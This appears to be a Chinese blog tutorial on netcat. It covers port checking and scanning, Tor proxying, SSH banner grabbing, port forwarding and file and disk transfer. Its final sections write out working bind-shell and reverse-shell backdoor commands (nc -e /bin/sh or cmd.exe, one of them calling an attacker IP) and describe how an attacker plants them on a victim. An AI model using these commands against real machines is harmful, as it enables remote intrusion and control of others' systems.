瑞士军刀——netcat的几种用法。

前言:较为基础的netcat的用法与介绍

netcat是什么

反弹shell中我们经常会见到类似

nc -lvvp 6666

这样的命令,没错这个nc就是netcat。netcat 一般简称为 nc,直译为中文就是“网猫”,被誉为——网络上的瑞士军刀。它诞生于1995年,在安全圈内的名气很大。

netcat的使用

一般来说,nc 的命令行包括如下几个部分:

nc 命令选项 主机 端口

我们可以使用

nc -h


查看所有可以使用的命令
以下是常用的nc参数命令翻译

选项 是否有“选项值” 说明
h NO 输出 nc 的帮助
v NO 在网络通讯时,显示详细的输出信息
注:建议新手多用该选项,出错时帮你诊断问题
n NO 对命令行中的“主机”,【不】进行域名解析
注:如果“主机”是“点分格式”的 IP 地址,需要用该选项;
如果“主机”是“域名”形式,【不能】用该选项
p YES 指定“端口号”
l NO 开启“监听模式”,nc 作为【服务端】
注:如不加该选项,nc 默认作为客户端
u NO 使用 UDP 协议
注:如不加该选项,默认是 TCP 协议
w YES 设置连接的超时间隔(N 秒)
q YES 让 nc 延时(N 秒)再退出
z NO 开启“zero-I/O 模式”
注:该选项仅用于“端口扫描”,后面会聊到
k NO 配合 -l 选项使用,可以重复接受客户端连接。
注:“原版 nc”的该选项用来开启“TCP keepalive”
这是“原版 nc”与“OpenBSD 变种”之间的差异之一
X YES 指定代理的类型(具体用法,后面会聊到)
注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
x YES 以 IP:PORT 的格式指定代理的位置。
注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一
e YES 启动某个进程,把该进程的“标准输入输出”与网络通讯【对接】
注:通常用该选项开启一个网络后门
“OpenBSD 变种”基于安全考虑,已去掉该选项,
但还是能用间接的方式达到同样的效果 :)

有时候要同时用到多个选项,可以“合写在一起”,在前面共用一个半角减号

nc -lp 12345 -v 
nc -l -v -p 12345 
nc -lv -p 12345 
nc -lvp 12345
以上几种写法是等价的。 

标题内容

一般来说,在命令行环境下,你可以用Ctrl+C这个组合键来强行终止当前运行的进程。对 nc,你同样可以这么干。

netcat的使用招数

nc除了用于接收反弹后的shell其实还能干别的一些事。

测试某个远程主机的监听端口是否可达

使用场景

经常有这种需求,要判断某个主机的监听端口是否能连上。
导致监听端口无法,通常有两种原因:
其一,这个监听端口根本就没开启;
其二,监听端口虽然开启,但是被防火墙阻拦了。
对第1个原因,(如果你能在该主机上运行命令)可以直接用 netstat 这个命令查看监听端口是否开启
但对于第2个原因,netstat 就用不上了。这时候就可以用 nc 来帮你搞定。

方法

用如下命令可以测试某个 IP 地址上的某个监听端口是否开启。

nc -nv x.x.x.x xx

上述命令用到了如下几个选项:
选项 -v
通过更详细的输出,能帮你搞明白状况。
选项 -n
由于测试的是IP 地址,用该选项告诉 nc,无须进行域名(DNS)解析;
反之,如果你要测试的主机是基于域名,就不能用“选项 -n”。

在测试链接的时候,如果没使用 -w 这个超时选项,默认情况下 nc 会等待很久,然后才会告诉连接失败。
如果所处的网络环境稳定且高速(比如:局域网内),那么,可以追加“-w 选项”,设置一个比较小的超时值。在下面的例子中,超时值设为3秒

nc -nv -w 3 x.x.x.x xx

判断防火墙是否“允许 or 禁止”某个端口

使用场景

假设你正在配置防火墙规则,禁止 TCP 的 8080 端口对外监听。那么,你如何验证自己的配置是 OK 滴?
更进一步说:如果当前没有任何软件开启 8080 这个监听端口,你如何判断:该端口号是否会被防火墙阻拦?
为了叙述方便,设想如下场景:
有两台主机——“主机C”充当客户端,“主机S”充当服务端。
然后要判断“主机S”上的防火墙是否会拦截其它主机对 8080 TCP 端口的连接。

方法

在“主机S”上运行 nc,让它在 8080 端口,命令如下:

nc -lv -p 8080


选项 -l
这个选项会让 nc 进入监听模式。

选项 -p
这个选项有“选项值”,也就是具体端口号。
然后在“主机C”上运行 nc,测试“主机S”上的 8080 端口是否可达

是否省略“-p”?

某些 nc 的变种,在开启监听模式时,可以省略“-p”,上述命令变为如下:

nc -lv 8080

用 nc 玩“端口扫描”

使用场景

如果你要测试的不止一个端口,而是某个范围的端口。这种行为有个专门的术语叫端口扫描。
“端口扫描”是一把双刃剑——“黑帽子”用这招进行信息收集,为后续的入侵做铺垫;“白帽子”用这招来进行“渗透测试”,以排查自己系统尚未屏弊的对外监听端口。

方法

下面这个命令,用来扫描主机,扫描的端口范围从 1到 1024

nc -znv x.x.x.x 1-1024

可以看见目标主机22端口开放。
选项 -z
意思是:开启“zero-I/O 模式”。该模式指的是:nc 只判断某个监听端口是否能连上,连上后不与对端进行数据通讯。

优化输出

玩“端口扫描”的时候,“-v 选项”会把“成功/失败”的结果统统打印出来。
通常大伙儿关注的都是“扫描成功”的那些端口。因此,可以用如下命令过滤一下,只打印扫出来的端口。

nc -znv x.x.x.x 1-1024 2>&1 | grep succeeded

由于“-v 选项”产生的输出位于stderr,上述命令中的 2>&1用来把stderr合并到stdout(注:这种写法只适用于 POSIX 系统上的 shell)
grep 命令用来进行过滤。对于 Windows 系统,默认没有grep 命令,需改用 fin 命令过滤。

超时设置

如果你要扫描的端口范围,跨度比较大,超时值要恰到好处
超时值太大,会浪费时间;超时值太小,可能会遗漏某些端口(端口本身开放,但 nc 还没来得及连上就超时了)

如上图我设置超时值为3,当然可以设置更短,使得扫描得更快。

并发扫描

如果你设置了较小的超时值,依然嫌慢,还可以用并发扫描的方式,进一步提升效率。
简而言之就是:同时运行多个 nc,分别扫描不同的端口范围。

如何让 nc 走匿名

 

方法

为了支持代理,nc 的“OpenBSD 变种”增加了两个选项:-X 与 -x

选项 -x
该选项表示代理的位置,以 x.x.x.x:xxx 的形式表示。

选项 -X
该选项表示代理的类型,含义如下:

 

选项值 含义
5 SOCKS5 代理
4 SOCKS4 代理
connect CONNECT 型的 HTTP 代理

 

首先,确保你本机已经运行了 Tor;
然后,拿俺的域名测试一下。如果 nc 的输出中包含 succeeded(参见下面的第2行),说明 OK 啦——nc 已经能通过 Tor 联网。

nc -X 5 -x 127.0.0.1:9050 -q 3 -v baidu.com 443
(注:如果你用的是“Tor Browser”,上述命令中的“-x 选项值”改为127.0.0.1:9150)

设置别名(alias)

如果你比较懒,觉得每次都输入上述两个代理选项太麻烦,可以为 nc 设置一个【别名】(命令如下)

alias nc-tor='nc -X 5 -x 127.0.0.1:9050'

设置好之后,你只要用 nc-tor 就可以自动追加代理选项。
如果想让别名永久生效,要把上述命令加入到:你当前使用的 shell 的启动文件中。
“裸 Tor”与“Tor Browser”的监听端口有差异。上述命令的 9050 是用于“裸 Tor”。

用 nc 探测“服务器类型”和“软件版本”(以 SSH 为例)

 

使用场景

攻击者在发起攻击之前,有一个很重要的步骤叫做信息收集。攻击者对目标了解得越多,得手的机会就越大。
下面以 SSH Server(sshd)举例。

方法

如今要远程管理服务器,最常用的大概就是 SSH 这种方式了。
如果某个服务器运行了 SSH 服务端(默认监听端口是 22),那么用如下命令可以看出:该服务器的操作系统类型,以及 SSH server 的版本。

echo "EXIT" | nc-tor -vq 5 -n 服务器IP 22 
echo "EXIT" | nc-tor -vq 5 服务器域名 22
如下用 nc 探测 Github 的 SSH 端口
echo "EXIT" | nc-tor -vq 5 ssh.github.com 22

补充说明:批处理 & 自动化

某些“有心人”甚至可以搞一个脚本,批量探测某个 IP 地址段的 22 端口,然后把找到的服务器信息保存在某个文件中。
另外,
有的系统管理员会把 sshd 的监听端口从 22 改为其它数值,想要迷惑攻击者。但这么干,效果不大。
攻击者可以先进行端口扫描,拿到所有已开启的 TCP 监听端口;然后利用上述方法,对这些 TCP 端口进行自动化探测,从而判断出哪个端口是 SSH Server。

防范措施

本文章以“SSH Server”举例来说明入侵者如何探测服务端的软件版本。
除了“SSH Server”,很多其它的服务端软件,也存在类似的信息暴露。
一个谨慎的系统管理员,应该通过定制,消除 or 伪造这些信息,从而增加入侵者的攻击成本。

用 nc 实现彻底无痕的 Web 访问

 

使用场景

如果你用传统的浏览器(Chrome、Firefox、IE、Edge ...)访问了某个页面。即使你禁用了 JS,伪造了浏览器的“User Agent”。但如果 Web 服务器想要收集你的系统指纹,还是有若干办法——可以通过浏览器的一些差异,获得某些信息量(安全行话叫做“浏览器指纹”)。
比如说:HTTP 协议的Header字段可能会包含某些信息。
比如说:不同内核的浏览器,对页面的渲染会有差异。对页面中的外部元素(图片、JS、CSS ...)的加载效率也会有差异。
比如说:即使同一款浏览器,在不同系统平台上,依然会表现出某些差异。

此时,nc 再度派上用场。
这种玩法相当于——让 nc 在裸 TCP层面执行 HTTP 协议的命令。在整个过程中,浏览器完全不参与其中。既不会暴露浏览器的信息,也不会暴露操作系统的信息。

方法

先执行下列两个命令的其中一个(具体看你想用“IP”还是“域名”)

echo -e "GET / HTTP/1.0\r\n\r\n" | nc-tor -vq 5 服务器域名 端口 
echo -e "GET / HTTP/1.0\r\n\r\n" | nc-tor -vq 5 -n 服务器IP 端口

然后 nc 就会把这个页面抓下来,打印到命令行终端。这时候你看到的是HTML 源代码。

上述命令访问的是 Web Server 的根路径。如果你想要看其它路径的页面(比如说:/index.html),稍微修改成如下:

echo -e "GET /index.html HTTP/1.0\r\n\r\n" | nc-tor -vq 5 服务器域名 端口
 echo -e "GET /index.html HTTP/1.0\r\n\r\n" | nc-tor -vq 5 -n 服务器IP 端口

 

这种方式的缺点

关于“页面的外部元素”
用这招,nc 只抓取页面本身,不包括页面中的外部元素(图片、JS、CSS ...)。
这种方式拿到的页面,阅读的时候会显得比较丑陋(你就凑合着看吧)

关于“JS 引擎”
由于这招只是在 TCP 层面模拟了简单的 HTTP 协议。所以只能得到静态 HTML。
如果某个页面的内容是依靠前端 JS动态生成(所谓的 AJAX 风格),那这招就不灵了(因为 nc没有JS 引擎)。

基于 nc 的端口转发(Port Forward)

 

 

原理

用 nc 进行端口转发,需要运行两个nc 进程,一个充当“服务端”,另一个是“客户端”,然后用管道让把两个进程的“标准输入输出”交叉配对。所谓的“交叉配对”就是——每一个 nc 进程的“标准输出”都对接到另一个 nc 进程的“标准输入”。如此一来,就可以完美地建立双向通讯。
大部分 shell 都支持管道符(就是那个竖线符号 |),可以把某个进程的标准输出,重定向给另一个进程的标准输入。但是 shell 的“管道符”只能做到“单向配对”,无法做到“交叉配对”。所以还需要再借助另一个管道——也就是“命名管道”。
“命名管道”洋文叫做“named pipe”,是一种进程间通讯(IPC)的机制。顾名思义,“命名管道”就是有名号滴,而 shell 中使用的那个管道符,其本质上是“匿名管道”(无名管道)。
主流的操作系统(Windows、Linux、UNIX)都支持“命名管道”这种机制。由于俺本人的环境是 Linux,下面只以 Linux 举例。

方法

步骤1:创建命名管道
用下面这个简单的命令创建一个“命名管道”,其名称叫做 nc_pipe。(俺用这个名称只是为了举例,你也可以用别的名称)

mkfifo nc_pipe

步骤2:同时启动两个 nc

nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe

运行上述命令之后,就可以把本机的 1235 端口重定向到本机的 5678 端口。

上述命令行,前一个 nc 充当服务端,后一个 nc 充当客户端。命令行中的“管道符”使得“服务端 nc”的输出绑定到“客户端 nc”的输入。然后再用 nc_pipe 这个命名管道做中转,使得“客户端 nc”的输出绑定到“服务端 nc”的输入。从而完成了交叉配对。

用 nc 传输文件

 

使用场景

有时候,你需要在两台电脑之间传输文件。也可以用 nc 搞定。
俺猜到某些技术小白会问:为啥不用 Windows 的共享目录?
反驳的理由很多——
反驳1:这个玩意儿只能在 Windows 上用。
反驳2:为了使用“共享目录”,需要启用(Enable)系统中的好几个 service,这会增加你系统的攻击面。
反驳3:启用的 service 越多,占用的内容也越多,影响性能。
那么如果是用FTP呢?
1、如果只是临时传一个文件,还要额外再去装某某软件的客户端/服务端,岂不是很蛋疼?
2、任何服务端软件,(从某种意义上说)都是在增加攻击面。

方法

为了叙述方便,假设你有两台主机 A 与 B,你要把 A 主机上的文件 file1 传输到 B 主机上,保存为 file2

先在接收端(B 主机)运行如下命令(其中的 xxx 是端口号)

nc -l -p xxx > file2

然后在发送端(A 主机)运行如下命令。

nc x.x.x.x xxx < file1

nc 的性能优势

用 nc 传输文件,相当于是:直接在裸 TCP层面传输。你可以通俗理解为:没有应用层。
(不熟悉网络分层的同学,再去复习一下本文开头的 OSI 模型)
如果你传输的文件超级大或者文件数量超级多,用 nc 传输文件的性能优势会很明显(相比“FTP、SSH、共享目录...”而言)

用 nc 远程备份整个磁盘

 

使用场景

当你学会“用 nc 传输文件”,还可以用 nc复制整个硬盘。
无论是对“系统管理员”,还是对“入侵者”甚至是“数据取证人员”,这招都是蛮有用滴。

考虑到某些读者是“技术菜鸟”,俺稍微说明一下。
“磁盘复制”不同于“在两块磁盘之间复制文件”。两者之间有很多差别,至少包括:
性能差异——如果“源盘”上有非常多的小文件,“在两块磁盘之间复制文件”就会非常慢。
完整性差异——“磁盘复制”可以确保两块盘的内容是完全一致滴。而如果你仅仅在两块磁盘之间复制文件,很多信息都损失掉了。
一般来说,“系统管理员”和“入侵者”更看重第1个差异(性能);而“数据取证人员”更看重第2个差异(完整性)。

原理

为了传输整个磁盘,你需要用到 dd 命令。这玩意儿源自 UNIX,后来也移植到 Linux 和 Windows。
俺曾经在如下博文中稍微介绍过 dd 命令的使用。

通过 dd 命令,你可以把“整个硬盘”(或者硬盘上的某个“物理分区”、“逻辑分区”)dump 成一个文件。
由于最终目的是要跨主机备份磁盘,所以并不需要真的把 dd 命令的输出保存成文件,而是把 dd 的输出通过管道符(|)重定向给本机的 nc,然后让本机的 nc 发送到另一台主机的 nc。

方法

由于操作物理磁盘会涉及到操作系统的差异,下面以 Linux 举例。
假设你要把 A 主机 /dev/sda 磁盘的原始数据整个复制到 B 主机的 /dev/sdb 磁盘。

你先在接收端(B 主机)运行如下命令(其中的 xxx 是端口号)

nc -l -p xxx | dd of=/dev/sdb

然后在发送端(A 主机)运行如下命令。

dd if=/dev/sda | nc x.x.x.x xxx

第二条命令中的 xxx 是端口号,要与第一条命令中的端口号相同;第二条命令中的 x.x.x.x 是主机 B的 IP 地址。

nc 的性能优势

如今的存储设备越来越大了。“磁盘”或者“分区”,动不动都是几百个 GB,这时候 nc 的性能优势就体现出来啦。

用 nc 开启被动连接型后门

使用场景

假设1:你使用的浏览器存在某个安全漏洞,并且该漏洞会让攻击者获得执行代码的机会。
假设2:你在某个公共场合使用某个 wifi 热点上网。遗憾的是,这个热点是攻击者设置的陷阱。
假设3:设置该陷阱的攻击者,正好也知道:如何利用上述漏洞。
当这三个假设都成立,攻击者就可以获得在你本机执行代码的机会。这时候,攻击者可以下载一个 nc 到你本机,然后用 nc 开启一个被动连接型后门。所谓的“被动连接型”就是指——nc 开启对外监听端口。
在该场景中,因为攻击者与你处于同一个局域网,攻击者自然能从自己的机器访问到你本机的 nc 后门。

原理

为了让后门能工作,通常会使用 nc 的 -e 选项,该选项的“选项值”是一个可执行文件的路径。
设置了该选项之后,当处于监听状态的 nc 接受到某个连接,会启动“选项值”对应的可执行文件(并得到某个进程),nc 会把该进程的“标准输入输出”与网络通讯对接。
为了让这个后门用起来足够爽,攻击者通常会让 nc 去启动一个shell 进程。对 Windows 系统而言,就是 cmd.exe;对 POSIX 系统(Linux or UNIX)而言,就是 /bin/sh
在这种情况下(nc 挂载 shell),攻击者远程连入 nc 的端口,就可以直接在这个 shell 上进行各种操作,其效果类似于 SSH 或(老式的)telnet。

使用方法

步骤1
如果受害者是 Windows 系统,只须如下命令就可以开启一个后门(其中的 xxx 是端口号)

nc.exe -l -p xxx -e cmd.exe

如果受害者是 POSIX 系统(Linux or UNIX),则用如下命令:

nc -l -p xxx -e /bin/sh

步骤2
后门创建好之后,攻击者在自己机器上也运行 nc(客户端 nc),然后连接到作为后门的 nc(服务端 nc)。一旦连上之后,攻击者就可以在自己的 nc 上看到对方(受害者机器)的 shell 提示符。

-e 选项

据说是考虑到 -e 选项太过危险,nc 的 OpenBSD 变种(在多年前)已经移除了该选项。但其实捏,还是可以用间接的方式达到同样的效果(具体如何做,俺就不透露啦)。
另,“原版 nc”依然有这个选项;nc 的很多其它变种,也依然有这个选项。

用 nc 开启主动连接型后门

 

使用场景

入侵者可以用 nc 创建一个主动连接型的网络后门(这种玩法,有时也称作“反向连接”的后门)。

原理

原理其实与被动开启后门很类似,唯一的差别在于——把客户端与服务端对调。也就是说,攻击者手头的 nc 充当服务端,而受害者机器上的 nc 充当客户端。此时,受害者本机的 nc无须开启监听端口,不受防火墙的影响,也不受NAT 的影响。

使用方法

步骤1
既然 nc 的“服务端”与“客户端”对调。因此攻击者要先在自己机器上运行“服务端 nc”,命令如下,xxx为端口。攻击者自己电脑的防火墙需要允许 xxx 端口号对外监听。

nc -lk -p xxx

步骤2
如果受害者是 Windows 系统,只须如下命令就可以开启一个后门。

nc.exe -e cmd.exe x.x.x.x xxx

如果受害者是 POSIX 系统,则用如下命令:

nc -e /bin/sh x.x.x.x xxx

(在上述两个命令中, xxx 是步骤1用到的端口号,x.x.x.x 是攻击者的 IP 地址)

 

“主动连接型后门”的优势之处(危险性之处)

简单对比一下后门的两种连接方式。

可用性
如果用“被动型后门”入侵桌面 PC,考虑到绝大部分桌面 PC 都处于内网(其网卡并未分配公网 IP)。对这种场景,攻击者需要与受害者在同一个局域网,才能与后门建立通讯。
相比之下,“主动型后门”就没有这种弊端。

隐蔽性
“被动型后门”需要显式开启监听端口,很容易引起用户的怀疑,或引起杀毒软件的注意。
相比之下,“主动型后门”就没有这个问题。

 

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注